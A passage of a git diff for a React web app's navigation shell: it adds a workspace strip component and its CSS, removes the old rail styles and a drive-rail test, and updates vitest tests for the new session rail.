Column one of the shell (plans/mockups/session-rail.html `#strip`): the org + * mark, one tile per workspace, the create tile, the workspace surfaces, and + * the account menu on the bottom edge. */ +export function WorkspaceStrip({ + workspaces, + viewer, + activeWorkspaceId, + openPanels, + pendingRequestCount, + surfacesEnabled, + onSelectWorkspace, + onCreateWorkspace, + onOpenPanel, + onSwitchOrg, + onCreateOrg, + onOpenDrive, + onOpenSettings, + onCloseDrawer, +}: WorkspaceStripProps) { + const [orgMenuOpen, setOrgMenuOpen] = useState(false); + const [accountMenuOpen, setAccountMenuOpen] = useState(false); + const orgLabel = viewer?.org.name || viewer?.org.slug || 'Organization'; + const userLabel = viewer?.identity.name || viewer?.identity.email || 'BlitzOS'; + + useEffect(() => { + if (!orgMenuOpen && !accountMenuOpen) return; + const closeOnEscape = (event: KeyboardEvent) => { + if (event.key !== 'Escape') return; + setOrgMenuOpen(false); + setAccountMenuOpen(false); + }; + window.addEventListener('keydown', closeOnEscape); + return () => window.removeEventListener('keydown', closeOnEscape); + }, [accountMenuOpen, orgMenuOpen]); + + return ( + + ); +} diff --git a/packages/webapp/src/shell/rail-sessions.ts b/packages/webapp/src/shell/rail-sessions.ts new file mode 100644 index 00000000..4bda1ca5 --- /dev/null +++ b/packages/webapp/src/shell/rail-sessions.ts @@ -0,0 +1,10 @@ +import type { WebAppSessionType } from '../WebAppHeader'; + +/** One managed tab, as the rail draws it. Build 2 swaps the feed for real + * session rows; the shape the rail consumes is meant to survive that. */ +export type DriveRailSession = { + id: string; + label: string; + agent: WebAppSessionType; + filePath?: string; +}; diff --git a/packages/webapp/src/strip-rail.css b/packages/webapp/src/strip-rail.css new file mode 100644 index 00000000..2ee87a29 --- /dev/null +++ b/packages/webapp/src/strip-rail.css @@ -0,0 +1,396 @@ +/* ========================================================================== + Columns one and two (plans/mockups/session-rail.html). Dimensions, radii and + row sizes are the mockup's; the colours come from tokens.css, which already + declares the same --paper/--ink/--accent scale the mockup uses. + ========================================================================== */ + +/* Above the breakpoint the wrapper is invisible to layout, so the strip and the + rail are real children of the shell grid. Below it, it is the drawer. */ +.shell-nav { display: contents; } + +.shell-nav-scrim, +.shell-strip__close { display: none; } + +/* --------------------------------------------------------------- column 1 */ +.shell-strip { + z-index: 10; + display: flex; + grid-column: 1; + grid-row: 1 / 3; + min-height: 0; + flex-direction: column; + align-items: center; + padding: 12px 0 10px; + gap: 6px; + border-right: 1px solid var(--rule); + background: var(--paper); + user-select: none; +} + +/* The org popover keeps the shell's menu markup, so the wrapper drops the + rail header box it used to carry. */ +.shell-strip__orgwrap { + height: auto; + flex: none; + border-bottom: 0; +} + +.shell-orgmark { + display: grid; + width: 22px; + height: 22px; + flex: none; + place-items: center; + border: 0; + border-radius: 6px; + color: var(--paper); + background: var(--accent); + font: 700 11px/1 var(--font-ui); + cursor: pointer; +} + +.shell-strip__sep { + width: 20px; + flex: none; + margin: 3px 0; + border-top: 1px solid var(--rule); +} + +.shell-strip__tiles, +.shell-strip__surfaces { + display: flex; + min-height: 0; + flex-direction: column; + align-items: center; + gap: 6px; +} + +.shell-strip__tiles { + overflow-y: auto; + flex-shrink: 1; + scrollbar-width: none; +} + +.shell-strip__tiles::-webkit-scrollbar { width: 0; } + +.shell-wtile { + position: relative; + display: grid; + width: 32px; + height: 32px; + flex: none; + place-items: center; + border: 0; + border-radius: 9px; + color: var(--muted); + background: var(--hover); + font: 700 11.5px/1 var(--font-ui); + cursor: pointer; +} + +.shell-wtile:hover:not(:disabled) { color: var(--ink); } + +.shell-wtile:focus-visible { + outline: 2px solid var(--accent); + outline-offset: 1px; +} + +.shell-wtile--on { + color: var(--ink); + background: color-mix(in oklab, var(--accent) 34%, var(--paper)); + box-shadow: 0 0 0 2px color-mix(in oklab, var(--accent) 45%, var(--paper)); +} + +.shell-wtile--off { + border: 1px dashed var(--rule); + color: var(--faint); + background: transparent; +} + +.shell-wtile--off.shell-wtile--on { + color: var(--ink); + background: color-mix(in oklab, var(--accent) 20%, var(--paper)); +} + +.shell-wtile:disabled { cursor: default; } + +.shell-wtile__plus { width: 13px; height: 13px; } + +.shell-strip__spacer { flex: 1 1 auto; } + +.shell-ic { + position: relative; + display: grid; + width: 30px; + height: 30px; + flex: none; + place-items: center; + border: 0; + border-radius: var(--r-item); + color: var(--faint); + background: transparent; + cursor: pointer; +} + +.shell-ic:hover:not(:disabled) { color: var(--ink); background: var(--hover); } +.shell-ic--on { color: var(--ink); background: var(--selected); } +.shell-ic:disabled { opacity: .45; cursor: default; } +.shell-ic__glyph { width: 15px; height: 15px; } + +.shell-ic__count { + position: absolute; + top: 2px; + right: 2px; + display: grid; + min-width: 13px; + height: 13px; + padding: 0 3px; + place-items: center; + border-radius: 7px; + color: var(--paper); + background: var(--accent); + font: 700 9px/1 var(--font-ui); +} + +.shell-strip__account { position: relative; flex: none; } + +.shell-av { + display: grid; + overflow: hidden; + width: 24px; + height: 24px; + flex: none; + place-items: center; + border: 0; + border-radius: 50%; + color: var(--paper); + background: var(--accent); + font: 700 10px/1 var(--font-ui); + cursor: pointer; +} + +.shell-av__photo { width: 100%; height: 100%; object-fit: cover; } + +/* The org and account popovers reuse the shell's menu skin; only the anchor + changes, because the strip is 48px wide and they open beside it. */ +.shell-strip__menu { + top: 0; + right: auto; + left: calc(100% + 6px); + width: 220px; +} + +.shell-strip__menu--account { top: auto; bottom: 0; } + +/* --------------------------------------------------------------- column 2 */ +.shell-rail { + display: flex; + grid-column: 2; + grid-row: 1 / 3; + min-width: 0; + min-height: 0; + flex-direction: column; + border-right: 1px solid var(--rule); + background: var(--paper); + user-select: none; +} + +.shell-rhead { + display: flex; + height: 46px; + flex: none; + align-items: center; + gap: 8px; + padding: 0 8px 0 13px; +} + +.shell-rhead b { + overflow: hidden; + flex: 1; + color: var(--ink); + font: 600 13.5px/1.5 var(--font-ui); + letter-spacing: -.01em; + text-overflow: ellipsis; + white-space: nowrap; +} + +.shell-rhead__sub { + flex: none; + color: var(--faint); + font-size: 10.5px; +} + +.shell-ib { + display: grid; + width: 24px; + height: 24px; + flex: none; + place-items: center; + border: 0; + border-radius: 6px; + color: var(--faint); + background: transparent; + font-size: 13px; + cursor: pointer; +} + +.shell-ib:hover { color: var(--ink); background: var(--hover); } +.shell-ib__glyph { width: 14px; height: 14px; } + +/* New session is an action, not a session: it holds its place while the list + scrolls under it. */ +.shell-newbar { + position: relative; + flex: none; + margin-bottom: 3px; + padding: 0 8px 5px; + border-bottom: 1px solid var(--rule); +} + +.shell-new { + display: flex; + width: 100%; + height: 31px; + align-items: center; + gap: 9px; + padding: 0 9px; + border: 0; + border-radius: var(--r-item); + color: var(--muted); + background: transparent; + font: 13px/1.5 var(--font-ui); + text-align: left; + cursor: pointer; +} + +.shell-new:hover { color: var(--ink); background: var(--hover); } +.shell-new__plus { width: 12px; height: 12px; color: var(--accent); } + +.shell-newmenu { + top: 34px; + right: 8px; + left: 8px; +} + +.shell-list { + min-height: 0; + flex: 1; + overflow-y: auto; + padding: 0 8px 8px; + scrollbar-color: var(--rule) transparent; + scrollbar-width: thin; +} + +/* The row: gutter · title · time. Never more. */ +.shell-s { + display: flex; + width: 100%; + height: 31px; + align-items: center; + gap: 9px; + padding: 0 9px; + border: 0; + border-radius: var(--r-item); + color: var(--soft-ink); + background: transparent; + font: 13px/1.5 var(--font-ui); + text-align: left; + cursor: pointer; +} + +.shell-s:hover { background: var(--hover); } +.shell-s--on { color: var(--ink); background: var(--selected); } +.shell-s--on .shell-s__t { font-weight: 600; } + +.shell-g { + display: grid; + width: 17px; + flex: none; + place-items: center; +} + +.shell-g__glyph { + width: 12px; + height: 12px; + color: var(--faint); + font-size: 12px; +} + +.shell-s__t { + min-width: 0; + overflow: hidden; + flex: 1; + font-size: 13px; + text-overflow: ellipsis; + white-space: nowrap; +} + +/* The time is the status, and green means running. Empty until Build 2. */ +.shell-s__a { + flex: none; + color: var(--faint); + font-size: 10.5px; + font-variant-numeric: tabular-nums; +} + +.shell-s__a--live { color: var(--live); font-weight: 600; } + +/* ------------------------------------------------------------- responsive */ +@media (max-width: 899px) { + .shell-nav { + position: fixed; + z-index: 400; + top: var(--mobile-viewport-top, 0); + left: 0; + display: flex; + width: min(88vw, 348px); + height: var(--mobile-viewport-height, 100dvh); + background: var(--paper); + transform: translateX(-102%); + transition: transform 140ms ease; + } + + .shell-nav--open { transform: translateX(0); } + + .shell-strip, + .shell-rail { + height: 100%; + grid-column: auto; + grid-row: auto; + } + + .shell-rail { flex: 1 1 auto; } + + .shell-strip__close { + display: grid; + width: 32px; + min-height: 32px; + place-items: center; + border: 0; + color: var(--faint); + background: transparent; + font-size: 17px; + cursor: pointer; + } + + .shell-wtile, + .shell-ic { min-height: 36px; } + + .shell-new, + .shell-s { min-height: 40px; } + + .shell-nav-scrim { + position: fixed; + z-index: 380; + inset: 0; + display: none; + border: 0; + background: color-mix(in oklab, var(--paper) 68%, transparent); + } + + .shell-nav-scrim--open { display: block; } +} + +@media (prefers-reduced-motion: reduce) { + .shell-nav { transition: none; } +} diff --git a/packages/webapp/src/tokens.css b/packages/webapp/src/tokens.css index 1684a793..a0a806ef 100644 --- a/packages/webapp/src/tokens.css +++ b/packages/webapp/src/tokens.css @@ -14,6 +14,9 @@ --hover: color-mix(in oklab, var(--ink) 7%, var(--paper)); --sunken: color-mix(in oklab, var(--ink) 5%, var(--paper)); --selected: color-mix(in oklab, var(--accent) 20%, var(--paper)); + /* Live green (plans/mockups/session-rail.html). The session rail's clock + * turns this colour when a session is running. */ + --live: #7fd39b; /* Drive shape scale (plans/mockups/folders-v1-library.html). */ --r-card: 12px; @@ -84,6 +87,7 @@ --ansi-bright-white: #1c1f26; --hover: color-mix(in oklab, var(--ink) 6%, var(--paper)); --selected: color-mix(in oklab, var(--accent) 16%, var(--paper)); + --live: #3f8156; --lift: 0 10px 30px color-mix(in oklab, #000 16%, transparent); color-scheme: light; } @@ -95,6 +99,7 @@ --accent: #7e95d7; --hover: color-mix(in oklab, var(--ink) 7%, var(--paper)); --selected: color-mix(in oklab, var(--accent) 20%, var(--paper)); + --live: #7fd39b; --lift: 0 10px 30px color-mix(in oklab, #000 34%, transparent); --terminal-selection: color-mix(in oklab, var(--accent) 25%, transparent); /* Forced dark on a light system: restore the dark ANSI ramp the @@ -143,6 +148,7 @@ --ansi-bright-white: #1c1f26; --hover: color-mix(in oklab, var(--ink) 6%, var(--paper)); --selected: color-mix(in oklab, var(--accent) 16%, var(--paper)); + --live: #3f8156; --lift: 0 10px 30px color-mix(in oklab, #000 16%, transparent); color-scheme: light; } diff --git a/packages/webapp/src/webapp-shell.css b/packages/webapp/src/webapp-shell.css index 4aeb5634..735fd499 100644 --- a/packages/webapp/src/webapp-shell.css +++ b/packages/webapp/src/webapp-shell.css @@ -13,7 +13,6 @@ grid-template-rows: auto var(--headerH) minmax(0, 1fr) auto; } -.webapp-shell--box-offline .webapp-rail, .webapp-shell--box-offline .webapp-loading-rail { grid-row: 2 / 5; } @@ -32,28 +31,6 @@ grid-row: 4; } -.webapp-rail { - z-index: 10; - display: flex; - grid-column: 1; - grid-row: 1 / 4; - min-width: 0; - min-height: 0; - flex-direction: column; - border-right: 1px solid var(--rule); - color: var(--ink); - background: var(--paper); - font-family: var(--font-ui); - user-select: none; -} - -.webapp-rail button { - color: inherit; - background: none; - border: 0; - cursor: pointer; -} - .webapp-org-wrap { position: relative; display: flex; @@ -63,73 +40,6 @@ border-bottom: 1px solid var(--rule); } -.webapp-org-button { - display: flex; - min-width: 0; - flex: 1; - align-items: center; - gap: 9px; - margin: 7px 0; - padding: 0 12px; - border-radius: 8px; - text-align: left; -} - -.webapp-org-button:hover, -.webapp-org-button:focus-visible { - background: color-mix(in oklab, var(--ink) 6%, transparent); -} - -.webapp-org-icon { - width: 16px; - height: 16px; - flex: none; - color: var(--accent); -} - -.webapp-org-button strong { - overflow: hidden; - font-size: 13.5px; - font-weight: 650; - letter-spacing: -.02em; - text-overflow: ellipsis; - white-space: nowrap; -} - -.webapp-org-chevron { - margin-top: 1px; - color: var(--faint); - font-size: 11px; -} - -.webapp-org-button:hover .webapp-org-chevron, -.webapp-org-button:focus-visible .webapp-org-chevron { - color: var(--ink); -} - -.webapp-workspace-add { - display: grid; - width: 36px; - height: 34px; - flex: none; - place-items: center; - align-self: center; - margin-right: 8px; - border-radius: 8px; - color: var(--faint) !important; -} - -.webapp-workspace-add svg { - width: 19px; - height: 19px; -} - -.webapp-workspace-add:hover, -.webapp-workspace-add:focus-visible { - color: var(--ink) !important; - background: color-mix(in oklab, var(--ink) 6%, transparent); -} - .webapp-org-backdrop { position: fixed; z-index: 19; @@ -214,480 +124,6 @@ color: var(--accent); } -.webapp-tree { - min-height: 0; - flex: 1; - overflow-x: hidden; - overflow-y: auto; - padding: 10px 8px 4px; - scrollbar-color: var(--rule) transparent; - scrollbar-width: thin; -} - -.webapp-tree::-webkit-scrollbar { - width: 6px; -} - -.webapp-tree::-webkit-scrollbar-track { - background: transparent; -} - -.webapp-tree::-webkit-scrollbar-thumb { - background: var(--rule); -} - -.webapp-tree-empty { - padding: 14px 9px; - color: var(--faint); - font-size: 12.5px; - font-family: var(--font-ui); -} - -.webapp-workspace { - padding: 2px 0 7px; -} - -.webapp-workspace--active { - border-left: 1px solid var(--accent); - background: color-mix(in oklab, var(--ink) 6%, var(--paper)); -} - -.webapp-workspace:first-child { - padding-top: 4px; -} - -.webapp-workspace-button { - display: flex; - grid-column: 1 / -1; - grid-row: 1; - min-width: 0; - width: 100%; - align-items: flex-start; - gap: 9px; - padding: 5px 8px 1px; - border-radius: 7px; - color: var(--ink) !important; - text-align: left; -} - -.webapp-workspace-button:hover, -.webapp-workspace-button:focus-visible { - background: color-mix(in oklab, var(--ink) 6%, transparent); -} - -.webapp-workspace-button--disclosable { - grid-column: 1 / 4; -} - -.webapp-workspace-item { - display: grid; - grid-template-columns: minmax(0, 1fr) auto auto auto; - grid-template-rows: auto auto; - min-height: 42px; - align-items: center; -} - -.webapp-workspace-item--error .webapp-workspace-name, -.webapp-workspace-item--error .webapp-tree-icon { - color: var(--accent); -} - -.webapp-workspace-disclosure { - display: grid; - grid-column: 4; - grid-row: 1; - width: 24px; - min-width: 24px; - min-height: 24px; - place-items: center; - align-self: stretch; - margin-right: 3px; - padding: 0; - border-radius: 6px; - opacity: 0; - color: var(--faint) !important; -} - -.webapp-workspace:hover .webapp-workspace-disclosure, -.webapp-workspace:focus-within .webapp-workspace-disclosure, -.webapp-workspace--collapsed .webapp-workspace-disclosure { - opacity: 1; -} - -.webapp-workspace-disclosure span { - display: block; - font: 13px/1 var(--font-ui); - transform: rotate(0); - transition: transform 100ms ease, color 100ms ease; -} - -.webapp-workspace-disclosure[aria-expanded='false'] span { - transform: rotate(-90deg); -} - -.webapp-workspace-disclosure:hover, -.webapp-workspace-disclosure:focus-visible { - color: var(--ink) !important; -} - -.webapp-workspace-menu { - display: grid; - grid-column: 4; - grid-row: 2; - min-width: 24px; - min-height: 20px; - place-items: center; - align-self: stretch; - margin-right: 3px; - padding: 0; - border-radius: 6px; - visibility: hidden; - opacity: 0; - pointer-events: none; - color: var(--faint) !important; - font: 11px/1 var(--font-ui) !important; -} - -.webapp-workspace-details-button { - display: grid; - grid-column: 3; - grid-row: 2; - width: 24px; - min-width: 24px; - min-height: 20px; - place-items: center; - align-self: stretch; - padding: 0; - visibility: hidden; - opacity: 0; - pointer-events: none; - color: var(--faint) !important; -} - -.webapp-workspace-details-button svg { - display: block; - width: 14px; - height: 14px; -} - -.webapp-workspace-details-button:hover, -.webapp-workspace-details-button:focus-visible { - color: var(--accent) !important; - background: color-mix(in oklab, var(--ink) 6%, transparent); -} - -.webapp-workspace-menu span { - display: block; -} - -.webapp-workspace:hover .webapp-workspace-menu, -.webapp-workspace:focus-within .webapp-workspace-menu, -.webapp-workspace:hover .webapp-workspace-details-button, -.webapp-workspace:focus-within .webapp-workspace-details-button { - visibility: visible; - opacity: 1; - pointer-events: auto; -} - -.webapp-workspace-menu:hover:not(:disabled), -.webapp-workspace-menu:focus-visible:not(:disabled) { - color: var(--accent) !important; -} - -.webapp-workspace-menu:disabled { - cursor: default; -} - -.webapp-workspace-button:focus-visible { - outline: 1px solid var(--rule); - outline-offset: -1px; -} - -.webapp-workspace-button--readonly { - cursor: default; -} - -.webapp-workspace-button--readonly:hover { - background: color-mix(in oklab, var(--ink) 6%, transparent); -} - -.webapp-workspace-button--shared { - cursor: pointer; -} - -.webapp-workspace-name { - display: block; - min-width: 0; - overflow: hidden; - font-size: 13px; - font-weight: 650; - text-overflow: ellipsis; - white-space: nowrap; -} - -.webapp-workspace-copy { - min-width: 0; - display: grid; - flex: 1; - gap: 1px; -} - -.webapp-workspace-meta { - display: flex; - grid-column: 1; - grid-row: 2; - min-width: 0; - align-items: center; - gap: 6px; - min-height: 20px; - padding: 0 4px 0 34px; - color: var(--faint); - font: 9.5px/1.5 var(--font-ui); -} - -.webapp-workspace--collapsed .webapp-workspace-meta { - grid-column: 1 / -1; - padding-right: 22px; -} - -.webapp-workspace-session-count { - flex: none; - color: var(--muted); - white-space: nowrap; -} - -.webapp-workspace-details { - display: flex; - min-width: 0; - align-items: center; - gap: 6px; -} - -.webapp-workspace-machine { - min-width: 0; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.webapp-workspace-owner { - display: inline-flex; - min-width: 0; - align-items: center; - gap: 4px; - padding-left: 5px; - border-left: 1px solid var(--rule); - color: var(--muted); - font-family: var(--font-ui); -} - -.webapp-workspace-owner img, -.webapp-workspace-owner-fallback { - width: 14px; - height: 14px; - flex: none; -} - -.webapp-workspace-owner img { - object-fit: cover; -} - -.webapp-workspace-owner-fallback { - display: grid; - place-items: center; - border: 1px solid var(--rule); - color: var(--ink); - font: 8px/1 var(--font-ui); -} - -.webapp-workspace-owner > span:last-child { - min-width: 0; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.webapp-workspace-status-badge { - flex: none; - padding: 0 4px; - border: 1px solid var(--rule); - border-radius: 4px; -} - -.webapp-workspace-status-badge--online { - border-color: var(--accent); - color: var(--accent); -} - -.webapp-workspace-status-badge--creating, -.webapp-workspace-status-badge--provisioning, -.webapp-workspace-status-badge--parking, -.webapp-workspace-status-badge--waking { - animation: webapp-loading-step 800ms steps(2, end) infinite; - border-color: var(--status-warm-yellow); - color: var(--status-warm-yellow); -} - -.webapp-workspace--parked .webapp-workspace-name, -.webapp-workspace-status-badge--parked, -.webapp-tree-icon--asleep { - color: var(--faint); -} - -.webapp-workspace-status-badge--parked { - border-color: var(--rule); -} - -.webapp-workspace-status-badge--failed { - color: var(--accent); -} - -.webapp-workspace-error-detail { - min-width: 0; - overflow: hidden; - color: var(--accent); - font: 9px/1.4 var(--font-ui); - text-overflow: ellipsis; - white-space: nowrap; -} - -.webapp-workspace-sessions[hidden] { - display: none; -} - -.webapp-tree-icon { - width: 13px; - height: 13px; - flex: none; - margin-top: 4px; - color: var(--muted); -} - -.webapp-tree-icon--online { - color: var(--ink); -} - -.webapp-session { - display: flex; - width: 100%; - align-items: center; - gap: 8px; - margin: 1px 0; - padding: 3px 7px; - border-radius: 7px; - color: var(--faint) !important; - font: 12.5px/1.7 var(--font-ui) !important; - text-align: left; -} - -.webapp-workspace-sessions { - margin-left: 17px; - padding-left: 9px; -} - -.webapp-session .webapp-tree-icon { - width: 12px; - height: 12px; - margin-top: 0; - color: currentColor; -} - -.webapp-session:hover, -.webapp-session:focus-visible, -.webapp-session--active { - color: var(--ink) !important; - background: color-mix(in oklab, var(--ink) 6%, transparent); -} - -.webapp-session:hover .webapp-tree-icon, -.webapp-session:focus-visible .webapp-tree-icon, -.webapp-session--active .webapp-tree-icon { - color: var(--accent); -} - -.webapp-session--active { - font-weight: 650 !important; -} - -.webapp-session .webapp-tree-icon--prime { - width: 14px; - height: 14px; - margin-inline: -1px; -} - -.webapp-session-label { - min-width: 0; - flex: 1; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.webapp-support { - flex: none; - padding: 10px 8px; - border-top: 1px solid var(--rule); - color: var(--muted); - font: 10.5px/1.45 var(--font-ui); - text-decoration: none; -} - -.webapp-support:hover, -.webapp-support:focus-visible { - color: var(--ink); - background: color-mix(in oklab, var(--ink) 5%, var(--paper)); -} - -.webapp-user { - display: flex; - width: 100%; - flex: none; - align-items: center; - gap: 9px; - padding: 13px 8px; - border-top: 1px solid var(--rule) !important; - text-align: left; -} - -.webapp-user:hover, -.webapp-user:focus-visible { - background: color-mix(in oklab, var(--ink) 5%, var(--paper)); -} - -.webapp-user:disabled { - cursor: default; -} - -.webapp-avatar { - width: 22px; - height: 22px; - flex: none; -} - -.webapp-avatar circle { - fill: var(--ink); -} - -.webapp-avatar text { - fill: var(--paper); - font-size: 11px; - font-weight: 700; -} - -.webapp-user-copy { - display: flex; - min-width: 0; - flex-direction: column; - font-size: 12.5px; -} - -.webapp-user-copy > span { - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.webapp-drawer-close, .webapp-drawer-scrim { display: none; } @@ -721,25 +157,6 @@ grid-column: 1; } - .webapp-rail, - .webapp-shell--box-offline .webapp-rail { - position: fixed; - z-index: 50; - top: var(--mobile-viewport-top, 0); - bottom: auto; - left: 0; - display: flex; - width: min(84vw, 320px); - height: var(--mobile-viewport-height, 100dvh); - transform: translateX(-101%); - transition: transform 100ms ease-out; - border-right: 1px solid var(--rule); - } - - .webapp-shell .webapp-rail.webapp-rail--drawer-open { - transform: translateX(0); - } - .webapp-drawer-scrim { position: fixed; z-index: 40; @@ -758,89 +175,9 @@ display: block; } - .webapp-drawer-close { - display: grid; - width: 44px; - min-width: 44px; + .webapp-org-menu-current { min-height: 44px; - flex: none; - place-items: center; - color: var(--faint) !important; - font-size: 17px; - } - - .webapp-org-button { - min-height: 44px; - padding: 0 8px; - } - - .webapp-workspace-add { - min-width: 48px; - min-height: 44px; - } - - .webapp-org-menu-current, - .webapp-workspace-button, - .webapp-session { - min-height: 44px; - } - - .webapp-workspace { - padding-top: 3px; - padding-bottom: 3px; - } - - .webapp-workspace:first-child { - padding-top: 3px; - } - - .webapp-workspace-button { - min-height: 36px; - padding: 0 10px; } - - .webapp-workspace-disclosure { - width: 36px; - min-width: 36px; - min-height: 36px; - padding-right: 10px; - } - - .webapp-workspace-meta { - min-height: 18px; - padding-right: 10px; - padding-left: 32px; - } - - .webapp-workspace--expanded .webapp-workspace-menu, - .webapp-workspace--expanded .webapp-workspace-details-button { - min-height: 22px; - visibility: visible; - opacity: 1; - pointer-events: auto; - } - - .webapp-session { - min-height: 30px; - padding: 0 10px 0 32px; - } - - .webapp-support { - min-height: var(--touchTarget); - padding: 13px 16px; - } - - .webapp-user { - min-height: 58px; - padding: 8px 16px; - }} - -@media (prefers-reduced-motion: reduce) { - .webapp-rail, - .webapp-workspace-disclosure span { - transition: none; - } - } /* Drag a screenshot anywhere over the cockpit: the overlay is the only signal diff --git a/packages/webapp/test/WorkspaceDetailsDialog.test.tsx b/packages/webapp/test/WorkspaceDetailsDialog.test.tsx index 5d88527a..1a41b400 100644 --- a/packages/webapp/test/WorkspaceDetailsDialog.test.tsx +++ b/packages/webapp/test/WorkspaceDetailsDialog.test.tsx @@ -1,7 +1,7 @@ import { act } from 'react'; import type { ControlPlaneClient } from '../src/api.js'; import { WorkspaceDetailsDialog } from '../src/WorkspaceDetailsDialog.js'; -import { DriveRail } from '../src/files/DriveRail.js'; +import { WorkspaceSessionRail } from '../src/shell/WorkspaceSessionRail.js'; import type { CloudWorkspaceModel } from '../src/workspace-store.js'; import { describe, expect, it, vi } from 'vitest'; import { render, settle } from './dom.js'; @@ -111,33 +111,18 @@ describe('WorkspaceDetailsDialog', () => { const onShare = vi.fn(); const onDetails = vi.fn(); const view = await render( - undefined} - onOpenDrive={() => undefined} - onOpenTemplates={() => undefined} - onOpenRecipes={() => undefined} - onSelectWorkspace={() => undefined} - onCreateWorkspace={() => undefined} - onSwitchOrg={() => undefined} - onCreateOrg={() => undefined} - onOpenSettings={() => undefined} - onOpenWorkspaceShare={onShare} - onOpenWorkspaceDetails={onDetails} - drawerOpen={false} - onCloseDrawer={() => undefined} + onSpawnSession={() => undefined} + onOpenShare={onShare} + onOpenDetails={onDetails} />, ); expect(view.container.querySelector('button[aria-label="Delete Details test"]')).toBeNull(); - expect(view.container.textContent).toContain('cx23@fsn1'); const share = view.container.querySelector('button[aria-label="Share Details test"]'); const details = view.container.querySelector( 'button[aria-label="Workspace details for Details test"]', @@ -149,29 +134,17 @@ describe('WorkspaceDetailsDialog', () => { expect(onShare).toHaveBeenCalledWith(workspace.id); expect(onDetails).toHaveBeenCalledWith(workspace.id); + // An editor on a shared workspace still opens details; only an owner or an + // admin can hand the workspace to somebody else. await act(async () => view.root.render( - undefined} - onOpenDrive={() => undefined} - onOpenTemplates={() => undefined} - onOpenRecipes={() => undefined} - onSelectWorkspace={() => undefined} - onCreateWorkspace={() => undefined} - onSwitchOrg={() => undefined} - onCreateOrg={() => undefined} - onOpenSettings={() => undefined} - onOpenWorkspaceShare={onShare} - onOpenWorkspaceDetails={onDetails} - drawerOpen={false} - onCloseDrawer={() => undefined} + onSpawnSession={() => undefined} + onOpenShare={onShare} + onOpenDetails={onDetails} />, )); expect(view.container.querySelector('button[aria-label="Share Details test"]')).toBeNull(); diff --git a/packages/webapp/test/drive-rail.test.tsx b/packages/webapp/test/drive-rail.test.tsx deleted file mode 100644 index a98a5c60..00000000 --- a/packages/webapp/test/drive-rail.test.tsx +++ /dev/null @@ -1,65 +0,0 @@ -import { act } from "react"; -import { describe, expect, it } from "vitest"; -import { DriveRail } from "../src/files/DriveRail.js"; -import { render } from "./dom.js"; - -const acme = { id: "org-one", slug: "acme", name: "Acme", vmLimit: 10 }; -const side = { id: "org-two", slug: "side", name: "Side", vmLimit: 10 }; - -function rail(onSwitchOrg: (orgId: string) => void = () => undefined) { - return ( - undefined} - onOpenDrive={() => undefined} - onOpenTemplates={() => undefined} - onOpenRecipes={() => undefined} - onSelectWorkspace={() => undefined} - onCreateWorkspace={() => undefined} - onSwitchOrg={onSwitchOrg} - onCreateOrg={() => undefined} - onOpenSettings={() => undefined} - onOpenWorkspaceShare={() => undefined} - onOpenWorkspaceDetails={() => undefined} - drawerOpen={false} - onCloseDrawer={() => undefined} - /> - ); -} - -describe("rail organization menu", () => { - it("marks only the current organization and closes from a click anywhere outside", async () => { - const view = await render(rail()); - const menu = () => view.container.querySelector( - '[role="menu"][aria-label="Organizations"]', - ); - expect(menu()?.hidden).toBe(true); - - await act(async () => view.container.querySelector( - 'button[aria-label="Organization: Acme"]', - )?.click()); - expect(menu()?.hidden).toBe(false); - const checked = [...menu()!.querySelectorAll('[role="menuitemradio"]')] - .filter((item) => item.getAttribute("aria-checked") === "true") - .map(({ textContent }) => textContent); - expect(checked).toEqual(["Acme✓"]); - const other = menu()!.querySelector('[role="menuitemradio"][aria-checked="false"]'); - expect(other?.textContent).toBe("Side"); - - const backdrop = view.container.querySelector( - 'button[aria-label="Close organization menu"]', - ); - expect(backdrop).not.toBeNull(); - await act(async () => backdrop?.dispatchEvent(new MouseEvent("mousedown", { bubbles: true }))); - expect(menu()?.hidden).toBe(true); - expect(view.container.querySelector('button[aria-label="Close organization menu"]')).toBeNull(); - await view.unmount(); - }); -}); diff --git a/packages/webapp/test/shell-smoke.test.tsx b/packages/webapp/test/shell-smoke.test.tsx index d04fab4b..a5ba8e2f 100644 --- a/packages/webapp/test/shell-smoke.test.tsx +++ b/packages/webapp/test/shell-smoke.test.tsx @@ -123,12 +123,6 @@ function navigationExpanded(container: HTMLElement): string | null { ?.getAttribute("aria-expanded") ?? null; } -function selectedSessionId(container: HTMLElement): string | undefined { - return container.querySelector( - '[aria-label="Workspace sessions"] .webapp-tab-cell [role="tab"][aria-selected="true"]', - )?.closest(".webapp-tab-cell")?.dataset.sessionId; -} - const realLocation = Object.getOwnPropertyDescriptor(window, "location")!; /** window.location.reload cannot be redefined in place, so the whole object is @@ -453,6 +447,7 @@ describe("webapp shell smoke", () => { }); it("returns to workspace details when workspace deletion is cancelled", async () => { + window.history.replaceState({}, "", "/workspaces/workspace-running"); const wire = runningClient(); const view = await render( { await view.unmount(); }); - it("keeps file tabs out of the workspace session rail and collapsed count", async () => { + it("keeps file tabs out of the workspace session rail", async () => { window.history.replaceState({}, "", "/workspaces/workspace-running"); saveTabs("workspace-running", [ { id: 1, type: "claude" }, @@ -957,11 +952,6 @@ describe("webapp shell smoke", () => { expect(railSessionLabels(view.container)).toEqual(["Claude", "Terminal"]); expect(view.container.querySelector('.webapp-tab-cell[data-session-id="3"]')).not.toBeNull(); - await act(async () => view.container.querySelector( - 'button[aria-label="Collapse sessions for workspace-running-name"]', - )?.click()); - expect(view.container.textContent).toContain("2 sessions"); - await view.unmount(); }); diff --git a/packages/webapp/test/workspace-strip.test.tsx b/packages/webapp/test/workspace-strip.test.tsx new file mode 100644 index 00000000..5a76c796 --- /dev/null +++ b/packages/webapp/test/workspace-strip.test.tsx @@ -0,0 +1,199 @@ +import { act } from "react"; +import { describe, expect, it, vi } from "vitest"; +import { WorkspaceStrip, workspaceCode } from "../src/shell/WorkspaceStrip.js"; +import type { TenantMe } from "../src/api-adapter.js"; +import type { CloudWorkspaceModel } from "../src/workspace-store.js"; +import type { WorkspaceDrawerSegment } from "../src/storage.js"; +import { render } from "./dom.js"; + +const acme = { id: "org-one", slug: "acme", name: "Acme", vmLimit: 10 }; +const side = { id: "org-two", slug: "side", name: "Side", vmLimit: 10 }; +const membership = { id: "membership-one", role: "admin" as const, status: "active" as const }; + +const viewer: TenantMe = { + identity: { + id: "user-one", + email: "person@example.com", + name: "Person", + 